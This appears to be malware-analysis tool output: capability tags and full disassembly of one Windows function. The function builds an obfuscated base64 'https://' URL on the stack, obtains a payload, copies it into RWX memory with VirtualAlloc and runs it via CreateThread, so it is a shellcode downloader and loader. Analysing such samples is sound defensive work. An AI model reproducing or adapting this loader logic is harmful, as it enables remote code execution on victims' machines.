Function at 0x140001bf0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r8d, 0x4c
mov dword [rbp - 0x40], 0x30524861
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x3c], 0x364d4863
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x38], 0x6e39794c
mov dword [rbp - 0x34], 0x6f525861
mov dword [rbp - 0x30], 0x75495764
mov dword [rbp - 0x2c], 0x74393259
mov dword [rbp - 0x28], 0x7635304c
mov dword [rbp - 0x24], 0x35783253
mov dword [rbp - 0x20], 0x4d39695a
mov dword [rbp - 0x1c], 0x44353052
mov dword [rbp - 0x18], 0x77313262
mov dword [rbp - 0x14], 0x6c785761
mov dword [rbp - 0x10], 0x79396963
mov dword [rbp - 0xc], 0x76635859
mov dword [rbp - 8], 0x70465762
mov dword [rbp - 4], 0x73396962
mov dword [rbp], 0x6b463262
mov dword [rbp + 4], 0x7549585a
mov dword [rbp + 8], 0x756c6d59
call fcn.1400011f0
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call fcn.140001460
lea rcx, [rbp - 0x80]
mov rdx, qword [rax]
call fcn.140002830
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001cfd
mov rdx, qword [rsp + 0x40]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001cf8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003710
mov qword [rsp + 0x150], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x158], rsi
movabs rbx, 0x7fffffffffffffff
mov qword [rsp + 0x160], rdi
mov rdi, qword [rbp - 0x70]
mov qword [rsp + 0x138], r12
xor r12d, r12d
mov qword [rsp + 0x130], r13
mov esi, r12d
mov r13, qword [rbp - 0x68]
mov qword [rsp + 0x128], r14
cmp r13, 0xf
mov qword [rsp + 0x120], r15
lea r14, [rbp - 0x80]
mov r15, qword [rbp - 0x80]
cmova r14, r15
mov qword [rsp + 0x60], r12
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x30], xmm0
cmp rdi, rbx
ja 0x1400020fb
cmp rdi, 0xf
ja 0x140001da1
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140001e38
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140001dd9
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000348c
mov rcx, rax
test rax, rax
je 0x140001e04
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001e1a
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001e0b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002101
jmp 0x140001dbb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001e17
call fcn.14000348c
jmp 0x140001e1a
mov rax, r12
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, r14
mov qword [rsp + 0x40], rdi
mov rcx, rax
mov qword [rsp + 0x48], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400018f0
mov rcx, qword [rsp + 0x50]
test al, al
je 0x140001fb3
cmp rcx, qword [rsp + 0x58]
je 0x140001fb3
mov rdx, rcx
lea rcx, [rbp - 0x80]
call fcn.140002830
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140001460
lea rcx, [rsp + 0x68]
cmp rcx, rax
je 0x140001e9a
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
mov rsi, qword [rax + 0x10]
mov qword [rax], r12
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
jmp 0x140001ea4
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001eea
mov rdx, qword [rsp + 0x40]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001ed7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f1c
call fcn.140003710
xorps xmm0, xmm0
mov qword [rsp + 0x30], r12
movdqu xmmword [rsp + 0x38], xmm0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140001f28
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f23
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003710
sub rdi, rbx
mov r9d, 0x40
mov rdx, rdi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x140001fac
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, r14
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140001fac
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x50]
mov edi, r12d
jmp 0x140001fbd
mov rcx, qword [rsp + 0x50]
jmp 0x140001fb8
mov rbx, qword [rsp + 0x68]
mov edi, 1
test rbx, rbx
je 0x140001ffa
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140001fea
mov rbx, qword [rbx - 8]
add rsi, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020a0
mov rdx, rsi
mov rcx, rbx
call fcn.140003710
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000203b
mov rdx, qword [rsp + 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002028
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020a0
call fcn.140003710
xorps xmm0, xmm0
mov qword [rsp + 0x60], r12
movdqu xmmword [rsp + 0x50], xmm0
cmp r13, 0xf
jbe 0x14000206e
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140002066
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020a0
mov rcx, r15
call fcn.140003710
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400020ac
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003710
mov r14, qword [rsp + 0x128]
mov eax, edi
mov rdi, qword [rsp + 0x160]
mov r13, qword [rsp + 0x130]
mov r12, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x158]
mov rbx, qword [rsp + 0x150]
mov r15, qword [rsp + 0x120]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400031d0
add rsp, 0x140
pop rbp
ret
call fcn.1400011d0
int3
call fcn.140001130
int3